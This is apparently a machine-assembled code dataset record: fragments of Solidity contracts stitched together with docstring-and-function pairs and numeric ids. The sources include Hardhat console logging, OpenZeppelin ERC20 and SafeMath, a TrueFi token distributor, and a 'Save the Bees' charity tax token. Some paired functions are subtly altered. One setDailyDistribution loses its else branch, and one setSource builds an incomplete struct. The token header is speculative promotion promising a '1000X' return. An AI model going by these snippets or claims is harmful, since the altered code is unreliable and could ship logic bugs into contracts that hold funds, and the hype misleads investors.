p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,address)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,string)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,address)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,string)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,address)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,string)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,address)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,string)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,address)", p0, p1, p2, p3)); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); }
Set or reset an oracle source and its inverse
function setSource(bytes6 baseId, IERC20Metadata base, bytes6 quoteId, IERC20Metadata quote, address source) external auth { sources[baseId][quoteId] = Source({ source: source, baseDecimals: base.decimals(), quoteDecimals: quote.decimals(), inverse: false }); emit SourceSet(baseId, base, quoteId, quote, source); if (baseId != quoteId) { sources[quoteId][baseId] = Source({ source: source, quoteDecimals: base.decimals(), inverse: true }); emit SourceSet(quoteId, quote, baseId, base, source); } }
14,412,873
// SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // Copied from https://github.com/OpenZeppelin/openzeppelin-contracts-ethereum-package/blob/v3.0.0/contracts/Initializable.sol // Added public isInitialized() view of private initialized bool. // SPDX-License-Identifier: MIT pragma solidity 0.6.10; /** * @title Initializable * * @dev Helper contract to support initializer functions. To use it, replace * the constructor with a function that has the `initializer` modifier. * WARNING: Unlike constructors, initializer functions must be manually * invoked. This applies both to deploying an Initializable contract, as well * as extending an Initializable contract via inheritance. * WARNING: When used with inheritance, manual care must be taken to not invoke * a parent initializer twice, or ensure that all initializers are idempotent, * because this is not dealt with automatically as with constructors. */ contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private initializing; /** * @dev Modifier to use in the initializer function of a contract. */ modifier initializer() { require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized"); bool isTopLevelCall = !initializing; if (isTopLevelCall) { initializing = true; initialized = true; } _; if (isTopLevelCall) { initializing = false; } } /// @dev Returns true if and only if the function is running in the constructor function isConstructor() private view returns (bool) { // extcodesize checks the size of the code stored in an address, and // address returns the current address. Since the code is still not // deployed when running a constructor, any checks on its code size will // yield zero, making it an effective way to detect if a contract is // under construction or not. address self = address(this); uint256 cs; assembly { cs := extcodesize(self) } return cs == 0; } /** * @dev Return true if and only if the contract has been initialized * @return whether the contract has been initialized */ function isInitialized() public view returns (bool) { return initialized; } // Reserved storage space to allow for layout changes in the future. uint256[50] private ______gap; } // SPDX-License-Identifier: MIT pragma solidity 0.6.10; import {Context} from "Context.sol"; import {Initializable} from "Initializable.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Initializable, Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function initialize() internal initializer { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity 0.6.10; import {IERC20} from "IERC20.sol"; interface ITrueDistributor { function trustToken() external view returns (IERC20); function farm() external view returns (address); function distribute() external; function nextDistribution() external view returns (uint256); function empty() external; } // SPDX-License-Identifier: MIT pragma solidity 0.6.10; import {SafeMath} from "SafeMath.sol"; import {Ownable} from "UpgradeableOwnable.sol"; import {ITrueDistributor, IERC20} from "ITrueDistributor.sol"; /** * @title LinearTrueDistributor * @notice Distribute TRU in a linear fashion * @dev Distributor contract which uses a linear distribution * * Contracts are registered to receive distributions. Once registered, * a farm contract can claim TRU from the distributor. * - Distributions are based on time. * - Owner can withdraw funds in case distribution need to be re-allocated */ contract LinearTrueDistributor is ITrueDistributor, Ownable { using SafeMath for uint256; // ================ WARNING ================== // ===== THIS CONTRACT IS INITIALIZABLE ====== // === STORAGE VARIABLES ARE DECLARED BELOW == // REMOVAL OR REORDER OF VARIABLES WILL RESULT // ========= IN STORAGE CORRUPTION =========== IERC20 public override trustToken; uint256 public distributionStart; uint256 public duration; uint256 public totalAmount; uint256 public lastDistribution; uint256 public distributed; // contract which claim tokens from distributor address public override farm; // ======= STORAGE DECLARATION END ============ /** * @dev Emitted when the farm address is changed * @param newFarm new farm contract */ event FarmChanged(address newFarm); /** * @dev Emitted when the total distributed amount is changed * @param newTotalAmount new totalAmount value */ event TotalAmountChanged(uint256 newTotalAmount); /** * @dev Emitted when a distribution occurs * @param amount Amount of TRU distributed to farm */ event Distributed(uint256 amount); /** * @dev Emitted when a distribution is restarted after it was over */ event DistributionRestarted(uint256 _distributionStart, uint256 _duration, uint256 _dailyDistribution); /** * @dev Initialize distributor * @param _distributionStart Start time for distribution * @param _duration Length of distribution * @param _amount Amount to distribute * @param _trustToken TRU address */ function initialize( uint256 _distributionStart, uint256 _duration, uint256 _amount, IERC20 _trustToken ) public initializer { Ownable.initialize(); distributionStart = _distributionStart; lastDistribution = _distributionStart; duration = _duration; totalAmount = _amount; trustToken = _trustToken; } /** * @dev Set contract to receive distributions * Will distribute to previous contract if farm already exists * @param newFarm New farm for distribution */ function setFarm(address newFarm) external onlyOwner { distribute(); farm = newFarm; emit FarmChanged(newFarm); } /** * @dev Distribute tokens to farm in linear fashion based on time */ function distribute() public override { // cannot distribute until distribution start uint256 amount = nextDistribution(); if (amount == 0) { return; } // transfer tokens & update state lastDistribution = block.timestamp; distributed = distributed.add(amount); require(trustToken.transfer(farm, amount)); emit Distributed(amount); } /** * @dev Calculate next distribution amount * @return amount of tokens for next distribution */ function nextDistribution() public override view returns (uint256) { // return 0 if before distribution or farm is not set if (block.timestamp < distributionStart || farm == address(0)) { return 0; } // calculate distribution amount uint256 amount = totalAmount.sub(distributed); if (block.timestamp < distributionStart.add(duration)) { amount = block.timestamp.sub(lastDistribution).mul(totalAmount).div(duration); } return amount; } /** * @dev Withdraw funds (for instance if owner decides to create a new distribution) * Distributes remaining funds before withdrawing * Ends current distribution */ function empty() public override onlyOwner { distribute(); distributed = 0; totalAmount = 0; require(trustToken.transfer(msg.sender, trustToken.balanceOf(address(this)))); } /** * @dev Change amount of tokens distributed daily by changing total distributed amount * @param dailyDistribution New daily distribution */ function setDailyDistribution(uint256 dailyDistribution) public onlyOwner { distribute(); uint256 timeLeft = distributionStart.add(duration).sub(block.timestamp); if (timeLeft > duration) { timeLeft = duration; } else { distributionStart = block.timestamp; duration = timeLeft; } totalAmount = dailyDistribution.mul(timeLeft).div(1 days); distributed = 0; emit TotalAmountChanged(totalAmount); } /** * @dev Restart the distribution that has ended */ function restart( uint256 _distributionStart, uint256 _duration, uint256 _dailyDistribution ) public onlyOwner { require( block.timestamp > distributionStart.add(duration), "LinearTrueDistributor: Cannot restart distribution before it's over" ); require(_distributionStart > block.timestamp, "LinearTrueDistributor: Cannot restart distribution from the past"); distribute(); distributionStart = _distributionStart; lastDistribution = _distributionStart; duration = _duration; totalAmount = _dailyDistribution.mul(_duration).div(1 days); distributed = 0; } }
Change amount of tokens distributed daily by changing total distributed amount dailyDistribution New daily distribution/
function setDailyDistribution(uint256 dailyDistribution) public onlyOwner { distribute(); uint256 timeLeft = distributionStart.add(duration).sub(block.timestamp); if (timeLeft > duration) { timeLeft = duration; distributionStart = block.timestamp; duration = timeLeft; } totalAmount = dailyDistribution.mul(timeLeft).div(1 days); distributed = 0; emit TotalAmountChanged(totalAmount); }
14,627,853
// SPDX-License-Identifier: UNLICENSED // IERC20.sol pragma solidity ^0.6.2; /* πŸ’ SAVE THE BEES! πŸ’ TBC Token - The Bee Conservancy is a Charity Token that Rewards Holders for helping to save the Bees! Team TomorrowWontExist will be donating to the https://thebeeconservancy.org/ on an ongoing Basis πŸ”Ά Officially Stealth Launched!!! 🌎 Website https://liveinthenowmovement.com/collections/bee/bee πŸ’ Help Save the Bees and Bee Rewarded with 8% ETH Reflections! Did you know that a ton of your favorite things wouldn't exist without Bees? πŸ€– Telegram https://t.me/TBCToken βœ… Seasoned Contract for Trending! βœ… Rewards & Buy Backs! βœ… Huge Marketing Lined Up! βœ… 1ETH Initial locked Liquidity! βœ… REAL Charity with ongoing proof of Donations Sent - 1st Donation will be Sent August 23rd! πŸš€πŸš€ DON’T MISS OUT ON THE NEXT 1000X πŸš€πŸš€ πŸ”₯ Tokenomics - 15% Tax πŸ’° 8% wETH Reflections (Dividends paid every Hour) πŸ’« 4% Marketing & Charity ⭐️ 3% Buybacks - Auto LP πŸ—£ Community Driven Project and Economy πŸ’― Ownership Renounced πŸ” Liquidity Locked - Unruggable πŸ†” Fully Doxed and Verified Dev Team (ScrawnyViking from TWE Token with Sustainble Housing Development) πŸ’° Don't miss out on our Weekly TWE Lottery Fair Launch @ https://tomorrowwontexist.com/twe-lottery-token πŸ’° 🏘 Participate to help with building Safe Homes in the case of Natural Disasters @TWEToken */ pragma solidity ^0.6.2; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // CONTEXT.sol pragma solidity ^0.6.2; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // uniswapV2Router pragma solidity ^0.6.2; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } // pragma solidity >=0.6.2; interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } // UNISWAP factory pragma solidity ^0.6.2; interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } // UNISWAP Pair pragma solidity ^0.6.2; interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } // IERC20Meta pragma solidity ^0.6.2; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // Ownable pragma solidity ^0.6.2; contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () public { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // SafeMath pragma solidity ^0.6.2; library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * 